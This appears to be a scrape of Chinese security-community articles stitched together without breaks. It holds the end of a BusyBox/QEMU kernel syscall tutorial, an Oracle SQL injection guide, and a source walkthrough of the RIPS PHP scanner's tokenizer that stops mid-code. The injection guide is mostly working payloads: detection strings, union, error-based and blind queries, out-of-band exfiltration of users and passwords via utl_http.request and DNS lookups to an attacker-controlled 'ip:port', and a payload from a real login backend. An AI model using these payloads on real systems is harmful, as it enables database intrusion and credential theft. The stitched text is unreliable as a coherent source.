**1\. 编译步骤**
$ make menuconfig
$ make
$ make install
**2\. 遇到的问题**
**2.1 问题一以及解决方案**
错误
loginutils/passwd.c:188:12: error: ‘RLIMIT_FSIZE’ undeclared (first use in this function)
setrlimit(RLIMIT_FSIZE, &rlimit_fsize);
解决
$ vim include/libbb.h
$ add a line #include <sys/resource.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/socket.h>
**2.2 问题二以及解决方案**
错误
linux/ext2_fs.h: 没有那个文件或目录
解决
Linux System Utilities --->
[ ] mkfs_ext2
[ ] mkfs_vfat
**3\. 编译完成之后如下配置**
**1\. 方案1**
$ cd _install
$ mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}
$ cat init
#!/bin/sh
echo "INIT SCRIPT"
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mkdir /tmp
mount -t tmpfs none /tmp
mdev -s # We need this to find /dev/sda later
echo -e "nBoot took $(cut -d' ' -f1 /proc/uptime) secondsn"
exec /bin/sh
$ chmod +x init
$ find . -print0
| cpio --null -ov --format=newc
| gzip -9 > /tmp/initramfs-busybox-x86.cpio.gz
$ qemu-system-i386 -kernel arch/i386/boot/bzImage -initrd /tmp/initramfs-busybox-x86.cpio.gz
**2\. 方案2**
后面为了方便，使用了另一种方式：
目录结构和之前差不多，添加inittab文件：
$ cat etc/inittab
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
添加rcS文件
$ cat etc/init.d/rcS
#!/bin/sh
#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev - $ chmod +x ./etc/init.d/rcS
配置下dev目录
mkdir dev
sudo mknod dev/ttyAMA0 c 204 64
sudo mknod dev/null c 1 3
sudo mknod dev/console c 5 1
$ find . | cpio -o --format=newc > ../rootfs.img
$ qemu-system-i386 -kernel arch/i386/boot/bzImage -initrd ../busybox-1.19.4/rootfs.img -append "root=/dev/ram rdinit=/sbin/init"
**0x05: 测试系统调用**
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1 [2:45:04]
$ cd muhe_test_syscall_lib
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/muhe_test_syscall_lib [2:51:48]
$ cat muhe_test_syscall_lib.c
#include <stdio.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
int main(int argc,char **argv)
{
printf("n Diving to kernel levelnn");
syscall(337,1337);
return 0;
}
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/muhe_test_syscall_lib [2:51:51]
$ gcc muhe_test_syscall_lib.c -o muhe -static
一定要静态链接，因为你进busybox链接库那些是没有的。
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/muhe_test_syscall_lib [2:52:20]
$ cp muhe_test_syscall_lib/muhe ../busybox-1.19.4/_install/usr/muhe
这里要注意，每次拷贝新文件到busybox的文件系统中去，都要执行find . | cpio -o –format=newc >
../rootfs.img去生成新的rootfs。
然后qemu起系统
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1 [2:53:33]
$ qemu-system-i386 -kernel arch/i386/boot/bzImage -initrd ../busybox-1.19.4/rootfs.img -append "root=/dev/ram rdinit=/sbin/init"
**0x06:引用与参考**
[adding-hello-world-system-call-to-linux](https://arvindsraj.wordpress.com/2012/10/05/adding-hello-world-system-call-to-linux/)
[Adding a new system call to the Linux
kernel](http://www.cs.rochester.edu/~sandhya/csc256/)
[Adding a system call in X86 QEMU
Environment](http://linuxseekernel.blogspot.ie/2014/07/adding-system-call-in-x86-qemu.html)
[Create a simple file
system](http://linuxseekernel.blogspot.com/2014/06/create-simple-file-system.html)
[Setup for linux kernel dev using
qemu](https://beyermatthias.de/blog/2016/11/01/setup-for-linux-kernel-dev-using-qemu/)
[root-file-system-for-embedded-system](http://blog.3mdeb.com/2013/06/07/root-file-system-for-embedded-system/)
**传送门**
* * *
[**【系列分享】Linux
内核漏洞利用教程（二）：两个Demo**](http://bobao.360.cn/learning/detail/3702.html) | 社区文章 |
`Oracle`
数据库常用于一些大型公司,通常都配合Java的后端来使用，在企业以及各类主流单位都作为主要数据库,平时在测试中也经常遇到Oracle注入漏洞,所以就总结一下,注入过程,从注入判断到数据的获取,全过程记录,包含一个简单的典型实际案例
## 0x01 寻找并判断注入点
### 注意：避免使用 `and 1=1`这样的测试语句
#### 数字型:
数字型的注入,和其他类型数据库时都一样,自己构造`加减乘除`的条件来判断注入
### Payload:
#通过 <> 来判断
?id=1'+and+1<>6--+ #返回为真 页面正常
?id=1'+and+1<>1--+ #返回为假 页面异常
#通过 加减法来判断
?id=1 #返回id,为1的内容
?id=2-1 #返回为1的内容
#通过数据库报错来判断
?id=1 #返回为正常
?id=1/0 #返回异常
# 通过注释符来判断(多行注释:/**/,单行注释:--)
?id=1 #返回为正常
?id=1/*loecho*/ #也返回正常
?id=1 #返回为正常
?id=1--loecho #也返回正常
#### 字符型
字符型注入相对数字型来说,会存在闭合一些数据引用符号的问题,例如语句通过`'`闭合语句后,后续就要通过单行注释符来注释剩下的单引号,其他情况也是如此
#### Payload:
#通过<>来判断
?name=loecho'+and+1<>6--+ #返回正常
?name=loecho'+and+1<>1--+ #返回异常
#使用字符串拼接符’||’，通过判断拼接符是否执行，从而判断是否存在注入
?name=lo'||'echo #返回正常
?name=lo'||'haha #返回异常
## 0x02 利用并且查询数据
### 01\. 联合查询
**即利用union select将想要查询的数据显示在页面上** ，构造正常语句，成功执行SQL语句查询数据
* 具体步骤如下:
# 01.先判断列数,同Mysql一样
?id=1'+order+by+4--+ #返回正常
?id=1'+order+by+5--+ #提示报错
得出结论数据为: 5 列
# 02.然后对每一列的数据类型进行判断（可以使用null代替某些无法快速猜测出数据类型的位置），先默认每一列均为null，然后从第一列开始依次将null改为字符串，如果报错则说明该列是数字型，否则则是字符型。,同Mysql一样
?id=1'+union+select+user+null+null+null+from+dual--+ #查询当前用户名
以此类推
# 03. 利用select table_name from user_tables where rownum=1获取表名（列名table数据同理）：
select column_name from user_tab_columns where table_name='TB_USER' and rownum=1（获取列名）
select USER_ID from TB_USER where USER_ID=1 and rownum=1（获取数据）
### 03\. 报错注入
**构造报错语句，通过数据库报错来带出我们要查询的数据** ，常用的报错函数包括
* XMLType()
# 中间为查询语句
upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62)))
* dbms_xdb_version.checkin()
# 中间为查询语句
upper(dbms_xdb_version.checkin((select user from dual)))
* ctxsys.drithsx.sn()
# 中间为查询内容
upper(dbms_xdb_version.checkin((select user from dual)))
* ordsys.ord_dicom.getmappingxpath()
# 中间为查询内容
ordsys.ord_dicom.getmappingxpath(user,user,user)
* dbms_utility.sqlid_to_sqlhash()
# 中间为查询内容
dbms_utility.sqlid_to_sqlhash((select user from dual))
### 02.OOB外带数据
通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击
* HTTP 请求外带数据
and utl_http.request('http://ip:port/'||(select banner from sys.v_$version where rownum=1))=1-- 查询指纹版
and utl_http.request('http://ip:port/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 -- 查询环境
and%20 utl_http.request('http://ip:port/'%7c%7c (select user from dual))=1-- 查询当前用户
and%20%20utl_http.request(%27http://ip:port/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--查询具体内容
and utl_http.request('http://ip:port/'||(select TABLE_NAME from all_tables where rownum=1))=1-- 查询所有数据表名
select name from v$database;
select instance_name from v$instance;
1.查询所有数据库
由于Oralce没有库名,只有表空间,所以Oracle没有提供数据库名称查询支持，只提供了表空间名称查询。
select * from v$tablespace;--查询表空间(需要一定权限)
2.查询当前数据库中所有表名
select * from user_tables;
3.查询指定表中的所有字段名
select column_name from user_tab_columns where table_name = 'table_name';
4.查询指定表中的所有字段名和字段类型
select column_name, data_type from user_tab_columns where table_name = 'table_name';
* DSNlog请求外带数据
- UTL_HTTP.REQUEST
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL;
- DBMS_LDAP.INIT
select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.dnslog',80) FROM sys.DUAL;
- HTTPURITYPE
select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.dnslog').GETCLOB() FROM sys.DUAL;
- UTL_INADDR.GET_HOST_ADDRESS
select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL;
### 03\. 基于布尔值的盲注
通过构造不同条件,返回返回页面的不同,就形成了Bool值的注入
* 通过 substr() decode() 函数的盲注(常用)
# 按位截取数据,Bp俩个标记:第一个为截取位数,第二个为:所有字符:
and+1=(select+decode(substr((select user from dual),§1§,1),'§S§',(1),0) from dual)--+ #查 user
and+1=(select decode(substr((select banner from sys.v_$version wher rownum=1),1 ,1),'S',(1),0) from dual)--+ # 查version
and+1=(select decode(substr((select table_name from user_tables where rownum=1),§1§,1),'§S§',(1),0) from dual)--+ # 查表名
* 通过 case、substr()、ascii() 函数的盲注
# 按位截取数据,Bp俩个标记:第一个为:截取位数 第二个为:所有可见字符的ASCII码(32~126):
123=(case when ascii(substr(user,§0§,1))=§121§ then '123' else '456' end)--+
* 通过 case、instr()、chr() 函数的盲注
# 按位截取数据,Bp俩个标记:第一个为:所有可见字符的ASCII码(32~126): 第二个,第三个为:值相同为截取位数
123=(case instr(user,chr(§*§),§*§,1) when §*§ then '123' else '456' end)--+
还有其他方式来利用,配合函数,不同环境不同用法
### 03 .基于时间的盲注
时间盲注， **基于服务器返回所用的时间，判断函数是否执行，从而判断是否存在注入**
* ### Decode()、DBMS_PIPE.receive_message()、chr()、substr()利用
# 按位截取数据,Bp俩个标记:第一个为:截取位数 第二个为:所有可见字符的ASCII码(32~126):
'||decode(substr(user,§*§,1),chr(§*§),DBMS_PIPE.receive_message('sen',1),2)||' #查user
## 0x03 实际案例分析
某次授权测试,某小程序后端在检查登录时,存在Oracle注入漏洞,注入类型为基于布尔类型的注入
1. 过滤空格，Json包注入，抓包标记注入点
2. 因为Sqlmap对于页面差异小布尔判断不准确，所以注入时加上以下任一参数，配合Tamper脚本即可注入成功：
**\--string=STRING 查询时有效时在页面匹配字符串**
**\--not-string=NOT.. 当查询求值为无效时匹配的字符串**
1. 通过国产的一个工具：`超级SQL注入工具`标记好数据包以及布尔变换和空格替换，都可以成功
#### 手工判断
#### 条件为真时:
#### 条件为假时:
* 由此构造条件来查询数据,当前数据库版本,结果如下
##### Paylaod:
{"tel":"18848888888/**/and/**/1=(select/**/decode(substr((select/**/banner/**/from/**/sys.v_$version/**/where/**/rownum=1),1 ,1),'S',(1),0)/**/from/**/dual)"}
## 0x04 : 想法
1. 实际测试中,网站直接交互存在注入的概率不是很大,着重测试一些微应用的后端交互，或者后端API
2. 只要自己成功判断后端执行了我们拼接的SQL语句，就是存在问题，配合数据库特性`1/0`也是可以的
3. 搜索处，表单的提交，各类刁钻的地方，只要猜测后端有交互的，都可以测试，会有惊喜！ | 社区文章 |
# 引言
在main.php的171行附近,rips对`Scanner`类进行了实例化，并由此进入正式的分析流程.
# 内容简介
阅读rips关于token分析处理相关的源码,并分析对应的用途及处理逻辑.
# Scanner类
首先是调用`Scanner`类的构造函数
$scan = new Scanner($file_scanning, $scan_functions, $info_functions, $source_functions);
各参数说明如下:
$file_scanning:待扫描文件的文件名
$scan_functions:待扫描的函数类型，由 main.php 中 $_POST['vector'] 的值决定
$info_functions:由 main.php 中 Info::$F_INTEREST 而来,是一个已定义的函数名数组
$source_functions:由 main.php 中 Sources::$F_OTHER_INPUT 而来,是一个已定义的函数名数组
## Scanner类构造函数分析
Scanner构造函数定义如下:
function __construct($file_name, $scan_functions, $info_functions, $source_functions)
首先是大量的变量初始赋值:
//直接传参获取的参数
$this->file_name = $file_name;
$this->scan_functions = $scan_functions;
$this->info_functions = $info_functions;
$this->source_functions = $source_functions;
//......
其中夹杂着`Analyzer`类的初始化,用于获取php的`include_path`配置
$this->include_paths = Analyzer::get_ini_paths(ini_get("include_path"));
紧接着便是根据文件生成token信息
$tokenizer = new Tokenizer($this->file_pointer);
$this->tokens = $tokenizer->tokenize(implode('',$this->lines_pointer));
unset($tokenizer);
在讲这几行作用之前,要先了解`token_get_all`函数
## token_get_all()函数简单介绍
php手册说明如下
> token_get_all() 解析提供的 source 源码字符，然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器代号
函数定义
> array token_get_all ( string $source )
示例代码
<?php echo 123;>
token_get_all()处理语句
token_get_all("<?php echo 123;>");
处理结果
Array
(
[0] => Array
(
[0] => 376
[1] => <?php
[2] => 1
)
[1] => Array
(
[0] => 319
[1] => echo
[2] => 1
)
[2] => Array
(
[0] => 379
[1] =>
[2] => 1
)
[3] => Array
(
[0] => 308
[1] => 123
[2] => 1
)
[4] => ;
[5] => Array
(
[0] => 378
[1] => ?>
[2] => 1
)
)
可以看到,代码被分割成了五段,其中除了第四段之外,每一段都分为三段.
我们设`$token=token_get_all(....)`,那么`$token[0]`便对应着
Array
(
[0] => 376
[1] => <?php
[2] => 1
)
则`$token[0][1]`对应`<?php`
那么下一个问题便是`$token[0]`对应数组中的三个值,分别代表什么意思,解释如下:
Array
(
[0] => 376 // token索引
[1] => <?php // 具体内容
[2] => 1 // 行号
)
我们可以使用token_name获得索引所对应的字面常量
echo token_name(376);
//result => T_OPEN_TAG
echo token_name(319);
//result => T_ECHO
echo token_name(308);
//result => T_LNUMBER
echo token_name(378)
//result => T_CLOSE_TAG
以上便是对token_get_all函数大致介绍
## Scanner类中token信息生成分析
回到生成`token`信息的这几句
$tokenizer = new Tokenizer($this->file_pointer);
$this->tokens = $tokenizer->tokenize(implode('',$this->lines_pointer));
unset($tokenizer);
```php
function __construct($filename){
$this->filename = $filename;
}
接下来调用`tokenize`函数,跟进
public function tokenize($code){
$this->tokens = token_get_all($code);
$this->prepare_tokens();
$this->array_reconstruct_tokens();
$this->fix_tokens();
$this->fix_ternary();
#die(print_r($this->tokens));
return $this->tokens;
}
可以看出在`tokenize`调用了多个token分析相关的函数,完成token分析准备、重构等工作
### prepare_token()函数分析
跟进`$this->prepare_tokens()`
function prepare_tokens()
{
for($i=0, $max=count($this->tokens); $i<$max; $i++)
{
if( is_array($this->tokens[$i]) )
{
if( in_array($this->tokens[$i][0], Tokens::$T_IGNORE) )
unset($this->tokens[$i]);
else if( $this->tokens[$i][0] === T_CLOSE_TAG )
$this->tokens[$i] = ';';
else if( $this->tokens[$i][0] === T_OPEN_TAG_WITH_ECHO )
$this->tokens[$i][1] = 'echo';
}
else if($this->tokens[$i] === '@')
{
unset($this->tokens[$i]);
}
else if( $this->tokens[$i] === '{'
&& isset($this->tokens[$i-1]) && ((is_array($this->tokens[$i-1]) && $this->tokens[$i-1][0] === T_VARIABLE)
|| $this->tokens[$i-1] === ']') )
{
$this->tokens[$i] = '[';
$f=1;
while($this->tokens[$i+$f] !== '}')
{
$f++;
if(!isset($this->tokens[$i+$f]))
{
addError('Could not find closing brace of '.$this->tokens[$i-1][1].'{}.', array_slice($this->tokens, $i-1, 2), $this->tokens[$i-1][2], $this->filename);
break;
}
}
$this->tokens[$i+$f] = ']';
}
}
// rearranged key index of tokens
$this->tokens = array_values($this->tokens);
}
在`prepare_token`函数中,大体上是由一个`for`循环与`return`语句组成,`for`循环为`prepare_token`的主要功能
首先对每个`token`判断是否为数组,这一判断的依据我们在上面已经提到,随后进入`in_array`,在第一个`in_array`中,紧接着是第二个`in_array`,这一步的主要作用为,通过`token索引`来判断是否为需要忽略的`token`,若为需要忽略token,则`unset`
与第二个`in_array`处于同一判断级别的条件为判断是否为php的开始(`<?=`)与闭合标签,若是,则替换为`;`或`echo`
与第一个`in_array`处于同一判断级别的另两个条件为
1. `@`符号
2. 该`token`信息为`{`,且下一`token`信息存在,`下一token信息为数组,下一token的索引对应变量`或`下一token为]`
在该`else
if`语句中,首先会将本次循环对应的`token`信息的`{`替换为`[`,接着便是while循环,寻找下一个闭合的`}`符号,如果寻找不到则执行`addError`
这个`else if`解释起来较为复杂繁琐,简单来讲便是将`$array{xxx}`格式的变量转换为`$array[xxx]`
接下来便是结束循环语句,执行`return`语句
总结一下`prepare_token()`函数功能:
> 去除无意义的符号,统一数组格式为`$array[xxx]`格式
### array_reconstruct_tokens函数分析
在开始这里的分析前,我们先观察数组变量的`token`结构,php代码:
<?php
$array = array();
$array[0] = [1];
$array["meizj"] = ["mei"];
得到的`token`信息:
/Applications/MAMP/htdocs/aaa.php:18:
array (size=35)
0 =>
array (size=3)
0 => int 376
1 => string '<?php
' (length=6)
2 => int 1
1 =>
array (size=3)
0 => int 379
1 => string '
' (length=1)
2 => int 2
2 =>
array (size=3)
0 => int 312
1 => string '$array' (length=6)
2 => int 3
3 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 3
4 => string '=' (length=1)
5 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 3
6 =>
array (size=3)
0 => int 366
1 => string 'array' (length=5)
2 => int 3
7 => string '(' (length=1)
8 => string ')' (length=1)
9 => string ';' (length=1)
10 =>
array (size=3)
0 => int 379
1 => string '
' (length=1)
2 => int 3
11 =>
array (size=3)
0 => int 312
1 => string '$array' (length=6)
2 => int 4
12 => string '[' (length=1)
13 =>
array (size=3)
0 => int 308
1 => string '0' (length=1)
2 => int 4
14 => string ']' (length=1)
15 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 4
16 => string '=' (length=1)
17 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 4
18 => string '[' (length=1)
19 =>
array (size=3)
0 => int 308
1 => string '1' (length=1)
2 => int 4
20 => string ']' (length=1)
21 => string ';' (length=1)
22 =>
array (size=3)
0 => int 379
1 => string '
' (length=1)
2 => int 4
23 =>
array (size=3)
0 => int 312
1 => string '$array' (length=6)
2 => int 5
24 => string '[' (length=1)
25 =>
array (size=3)
0 => int 318
1 => string '"meizj"' (length=7)
2 => int 5
26 => string ']' (length=1)
27 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 5
28 => string '=' (length=1)
29 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 5
30 => string '[' (length=1)
31 =>
array (size=3)
0 => int 318
1 => string '"mei"' (length=5)
2 => int 5
32 => string ']' (length=1)
33 => string ';' (length=1)
34 =>
array (size=3)
0 => int 379
1 => string '
' (length=3)
2 => int 5
从第13行开始,出现的token索引为:
> 308 379 312 318
分别对应的`token`信息为:
> T_LNUMBER:整型
> T_WHITESPACE:空格
> T_VARIABLE:变量
> T_CONSTANT_ENCAPSED_STRING:字符串语法
因此,根据行数与对应token索引的值可以明白键值的类型是可以由`T_CONSTANT_ENCAPSED_STRING`以及`T_LNUMBER`来表示的.
有了这层基础,我们才能较好的去分析`array_reconstruct_tokens`
随后进入`array_reconstruct_tokens`函数,函数源码如下:
function array_reconstruct_tokens()
{
for($i=0,$max=count($this->tokens); $i<$max; $i++)
{
if( is_array($this->tokens[$i]) && $this->tokens[$i][0] === T_VARIABLE && $this->tokens[$i+1] === '[' )
{
$this->tokens[$i][3] = array();
$has_more_keys = true;
$index = -1;
$c=2;
// loop until no more index found: array[1][2][3]
while($has_more_keys && $index < MAX_ARRAY_KEYS)
{
$index++;
if(($this->tokens[$i+$c][0] === T_CONSTANT_ENCAPSED_STRING || $this->tokens[$i+$c][0] === T_LNUMBER || $this->tokens[$i+$c][0] === T_NUM_STRING || $this->tokens[$i+$c][0] === T_STRING) && $this->tokens[$i+$c+1] === ']')
{
unset($this->tokens[$i+$c-1]);
$this->tokens[$i][3][$index] = str_replace(array('"', "'"), '', $this->tokens[$i+$c][1]);
unset($this->tokens[$i+$c]);
unset($this->tokens[$i+$c+1]);
$c+=2;
// save tokens of non-constant index as token-array for backtrace later
} else
{
$this->tokens[$i][3][$index] = array();
$newbraceopen = 1;
unset($this->tokens[$i+$c-1]);
while($newbraceopen !== 0)
{
if( $this->tokens[$i+$c] === '[' )
{
$newbraceopen++;
}
else if( $this->tokens[$i+$c] === ']' )
{
$newbraceopen--;
}
else
{
$this->tokens[$i][3][$index][] = $this->tokens[$i+$c];
}
unset($this->tokens[$i+$c]);
$c++;
if(!isset($this->tokens[$i+$c]))
{
addError('Could not find closing bracket of '.$this->tokens[$i][1].'[].', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
unset($this->tokens[$i+$c-1]);
}
if($this->tokens[$i+$c] !== '[')
$has_more_keys = false;
$c++;
}
$i+=$c-1;
}
}
$this->tokens = array_values($this->tokens);
}
回到```array_reconstruct_tokens```函数
首先分析第一个```if```语句,判断要求为:
1. 该```token```信息为数组
2. 该```token```的索引为变量类型
3. 该```token```的下一个```token```信息为```[
从这三个条件,我们可以很容易发现这是在寻找`数组`类型的变量,继续分析
在进入if语句后,将`$this->token[$i][3]`替换为了数组,随后又进行了三次赋值:
$has_more_keys = true;
$index = -1;
$c=2;
暂时不分析其各自含义,继续向下分析
接下来是一个`while`循环,判断条件有两个:
1. `$has_more_keys`是否为真
2. `$index`小于`MAX_ARRAY_KEYS`
两者需要同时满足,才进入while循环.跟踪`MAX_ARRAY_KEYS`常量,发现是类似于数组维数的变量,定义如下:
define('MAX_ARRAY_KEYS', 10); // maximum array key $array[1][2][3][4]..
进入之后`while`循环,首先`$index`变量自增,随后是`if`语句,判断条件如下:
1. `token`索引的值需要为数组
2. `token`索引的值需要为`T_CONSTANT_ENCAPSED_STRING`,`T_LNUMBER`,`T_NUM_STRING`,`T_STRING`
3. 下一个`token`对应的值为`]`
可以判断出,这是在寻找数组的键值部分
进入该`if`语句后,首先将上一个`token`信息消除,再将该`token`的值去掉单双引号存入`$this->token[$i+$c][3]`位置的数组.
进入该`if`语句对应的`else`语句中,与前面取`不变值作为index`不同,else语句中则是对`变值作为index`的收集
首先是赋值语句,对`token`新增了第四个键值,并初始化为数组:
$this->tokens[$i][3][$index] = array();
接下来对`$newbraceopen`赋值为`1`,该变量可理解为`[`出现的次数.
往下两行是`while`循环:
while($newbraceopen !== 0)
{
if( $this->tokens[$i+$c] === '[' )
{
$newbraceopen++;
}
else if( $this->tokens[$i+$c] === ']' )
{
$newbraceopen--;
}
else
{
$this->tokens[$i][3][$index][] = $this->tokens[$i+$c];
}
unset($this->tokens[$i+$c]);
$c++;
if(!isset($this->tokens[$i+$c]))
{
addError('Could not find closing bracket of '.$this->tokens[$i][1].'[].', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
有了上一个`if`的基础,我们可以轻易看出,该`while`语句作用为将数组的`值`存储在token信息的第四个键上.
到此为止,`array_reconstruct_tokens`函数的作用基本明了:
> 将数组如由`$array[]`格式转换为`$token[i][3]`格式表示的数据
### fix_tokens()函数分析
整个函数与上面类似,由```for```和```return```语句构成,跟入```for```语句.
首先是```if```语句,当前token信息为反引号时,则进入if语句.
```if```语句中嵌套了```while```语句,可以发现```if```的条件和```while```的条件刚好可以构成由一对反引号包裹的变量.
而在```while```语句中的逻辑则是在取其行号,当```while```语句结束后,则进入行号的判断,若行号存在,则第二个反引号的位置被替换为```)```,第一个反引号的位置被替换为如下的token信息:
$this->tokens[$i] = array(T_STRING, 'backticks', $line_nr);
在第一个```if```语句最后以```array_merger```收尾,语句如下:
```php
$this->tokens = array_merge(
array_slice($this->tokens, 0, $i+1),
array('('),
array_slice($this->tokens, $i+1)
);
结合刚刚提到到,将第二个反引号替换为`)`,那么换个角度看,其实也缺失了一个`(`,为了补齐这个括号,通过使用将`token`先分段,再插入,再组合的方法达到补齐括号的效果.
因为`fix_token`的函数过长,因此每个`if`我都会总结一下作用,那么这个if的作用其实便是:
将 `xxxx` 转换为 xxx()
接下来进入`else if`.
首先是`if`语句,进入`if`语句的条件为:
1. T_IF
2. T_ELSEIF
3. T_FOR
4. T_FOREACH
5. T_WHILE
6. 以上五个条件任意成立一个并且 $this->tokens[$i+1] === '(' 成立
接下来是一个`while`语句,结合上面的经验,我们可以知道这其实是在对括号中的内容定位,然而并没有出现记录相关的操作,结合`T_IF`此类token信息,不难分析出这一步的`while`实质是跳过其中的条件语句.
接着`while`语句的为一个`if`语句,相关代码为:
if($this->tokens[$i+$f] === ':')
{
switch($this->tokens[$i][0])
{
case T_IF:
case T_ELSEIF: $endtoken = T_ENDIF; break;
case T_FOR: $endtoken = T_ENDFOR; break;
case T_FOREACH: $endtoken = T_ENDFOREACH; break;
case T_WHILE: $endtoken = T_ENDWHILE; break;
default: $endtoken = ';';
}
$c=1;
while( $this->tokens[$i+$f+$c][0] !== $endtoken)
{
$c++;
if(!isset($this->tokens[$i+$f+$c]))
{
addError('Could not find end'.$this->tokens[$i][1].'; of alternate '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, $f+1), $this->tokens[$i][2], $this->filename);
break;
}
}
$this->wrapbraces($i+$f+1, $c+1, $i+$f+$c+2);
}
进入`if`的条件为:
1. `$this->tokens[$i+$f] === ':'`
而`if`语句则是switch语句,分别对应`T_IF`一类的条件语句,然而再结合前面的`$this->tokens[$i+$f] ===
':'`这个条件则让人有点不解.
这一部分其实是php的替代语法.比如:
<?php if($a<0): ?>
123
<?php endif; ?>
替代语法的语法结构与我们常用的语法结构不同这一点十分重要.
在`switch`语句中,设置了对应不同token的结束符号,而接下来的while语句则是不断寻找对应的结束符号的出现位置.
在最后出现了函数`wrapbraces`.跟入:
function wrapbraces($start, $between, $end)
{
$this->tokens = array_merge(
array_slice($this->tokens, 0, $start), array('{'),
array_slice($this->tokens, $start, $between), array('}'),
array_slice($this->tokens, $end)
);
}
与上面出现的`array_merge`作用类似,都是为了补齐语法结构,符合我们平常的使用习惯
<?php if($a<0) { ?>
123
<?php }?>
到这一步为止,语法结构补完.
对应的`else if`语句则为:
else if($this->tokens[$i+$f] !== '{' && $this->tokens[$i+$f] !== ';'){
$c=1;
while($this->tokens[$i+$f+$c] !== ';' && $c<$max)
{
$c++;
}
$this->wrapbraces($i+$f, $c+1, $i+$f+$c+1);
}
由于我们已经跳过了判断的条件语句,那么此时`$token[$i+$f]`对应的其实是`{`,但是可以看到这里的`else if`判断条件便是`不为{ 且不为
;`.
此类代码如下:
if($a==1) echo 1;
于是在这个`else if`语句里出现了`while`循环用以寻找这个语句块的结尾,并通过`$this->wrapbraces`来补齐语法结构.
再跟入下一个
else if(
$this->tokens[$i][0] === T_ELSE
&& $this->tokens[$i+1][0] !== T_IF
&& $this->tokens[$i+1] !== '{')
{
$f=2;
while( $this->tokens[$i+$f] !== ';' && $f<$max)
{
$f++;
}
$this->wrapbraces($i+1, $f, $i+$f+1);
}
语法结构基本一样,根据条件判断,该语句是用来补全`else`结构的`{`.
再往下依然是`else if`,代码如下:
else if( $this->tokens[$i][0] === T_SWITCH && $this->tokens[$i+1] === '(')
{
$newbraceopen = 1;
$c=2;
while( $newbraceopen !== 0 )
{
if( $this->tokens[$i + $c] === '(' )
{
$newbraceopen++;
}
else if( $this->tokens[$i + $c] === ')' )
{
$newbraceopen--;
}
else if(!isset($this->tokens[$i+$c]) || $this->tokens[$i + $c] === ';')
{
addError('Could not find closing parenthesis of switch-statement.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->filename);
break;
}
$c++;
}
// switch(): ... endswitch;
if($this->tokens[$i + $c] === ':')
{
$f=1;
while( $this->tokens[$i+$c+$f][0] !== T_ENDSWITCH)
{
$f++;
if(!isset($this->tokens[$i+$c+$f]))
{
addError('Could not find endswitch; of alternate switch-statement.', array_slice($this->tokens, $i, $c+1), $this->tokens[$i][2], $this->filename);
break;
}
}
$this->wrapbraces($i+$c+1, $f+1, $i+$c+$f+2);
}
}
该`else if`语句进入的条件为`switch`语句,根据前面的经验,我们可以知道第一个`while`语句是用来寻找`swicth`的条件值,而下面的
if($this->tokens[$i + $c] === ':')
{
$f=1;
while( $this->tokens[$i+$c+$f][0] !== T_ENDSWITCH)
{
$f++;
if(!isset($this->tokens[$i+$c+$f]))
{
addError('Could not find endswitch; of alternate switch-statement.', array_slice($this->tokens, $i, $c+1), $this->tokens[$i][2], $this->filename);
break;
}
}
$this->wrapbraces($i+$c+1, $f+1, $i+$c+$f+2);
}
则是用来寻找`switch`语句的结尾并使用`{}`包裹,使之形成一个代码块.
继续看向下一个`else if`块:
else if( $this->tokens[$i][0] === T_CASE )
{
$e=1;
while($this->tokens[$i+$e] !== ':' && $this->tokens[$i+$e] !== ';')
{
$e++;
if(!isset($this->tokens[$i+$e]))
{
addError('Could not find : or ; after '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
$f=$e+1;
if(($this->tokens[$i+$e] === ':' || $this->tokens[$i+$e] === ';')
&& $this->tokens[$i+$f] !== '{'
&& $this->tokens[$i+$f][0] !== T_CASE && $this->tokens[$i+$f][0] !== T_DEFAULT)
{
$newbraceopen = 0;
while($newbraceopen || (isset($this->tokens[$i+$f]) && $this->tokens[$i+$f] !== '}'
&& !(is_array($this->tokens[$i+$f])
&& ($this->tokens[$i+$f][0] === T_BREAK || $this->tokens[$i+$f][0] === T_CASE
|| $this->tokens[$i+$f][0] === T_DEFAULT || $this->tokens[$i+$f][0] === T_ENDSWITCH) ) ))
{
if($this->tokens[$i+$f] === '{')
$newbraceopen++;
